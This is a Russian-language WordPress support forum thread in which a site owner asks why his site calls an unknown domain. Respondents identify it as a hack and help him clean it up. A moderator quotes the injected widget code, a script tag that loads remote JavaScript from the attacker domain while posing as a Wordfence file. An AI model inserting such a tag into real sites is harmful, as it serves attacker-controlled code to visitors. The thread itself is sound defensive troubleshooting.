Обращение на сторонний сайт

  • Решено dmitrof

    (@dmitrof)


    4 месяца назад

    Здравствуйте!

    Сайт был на старой версии WP. Очень долго грузился. Я обновил его до 6.8.3, но проблема не ушла. В консоли разработчика я обнаружил, что мой сайт в момент загрузки обращается на неизвестный мне домен checkitoutxx.com. Этот домен очень долго отвечает, из-за чего мой сайт долго грузится.

    Я пробовал отключать все плагины, даже переименовывал папку plugins, это не помогает. Так же я искал имя проблемного домена в файлах сайта, но ничего не нашел.

    Вопрос: как найти проблемный файл и устранить обращение к этому злополучному сайту?

    У меня кончились идеи, надеюсь на Вашу помощь!

    С уважением, Дмитрий.

    Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]

Просмотр 4 ответов — с 1 по 4 (всего 4)
  • V3XX

    (@v3xx)

    4 месяца назад

    dmitrof, привет. Это домен, с которого подтягивался вредоносный код, то есть ваш сайт был взломан. Скорее всего, запрашивается файл /js/wordfence.js, который уже недоступен, поэтому возрастает время загрузки страниц вашего сайта.

    Модератор Yui

    (@fierevere)

    永子

    4 месяца назад

    <div class="textwidget custom-html-widget"><script src="https://checkitoutxx.com/js/wordfence.js"></script>



    фрагмент скорее всего был добавлен через виджет HTML-код
    скрипт ссылается на /app.malcare.me , который не работает для посетителей и сайтов из РФ,
    можете удалять без жалости

    И вообще похож на вредонос, есть malcare.com а у вас — .me
    и скрипт прикидывается якобы wordfence

    проверьте сайт на вирусы

    • Ответ изменён 4 месяца назад пользователем Yui.
    ravilr63

    (@ravilr63)

    4 месяца назад

    День добрый. Обновлением тут не помочь. Возможно кто то разместил этот код. Код может быть как в файлах, так и в редакторе страниц. Единого решения поиска нет. Такое бывает часто, когда на сайте долгое время есть какая то уязвимость и ею пользуются злоумышленники.

    Если плагины отключали и в файлах искали, то значит это или как то зашифровано в коде, обычно через base64 или записано прямо в теме, визуальный редактор же у Вас. Поищите в БД, может так сможете найти.

    Модератор Yui

    (@fierevere)

    永子

    4 месяца назад

    я смотрю вы общаетесь в основном там

    https://wordpress.org/support/topic/long-load-time-5/

Просмотр 4 ответов — с 1 по 4 (всего 4)

Тема «Обращение на сторонний сайт» закрыта для новых ответов.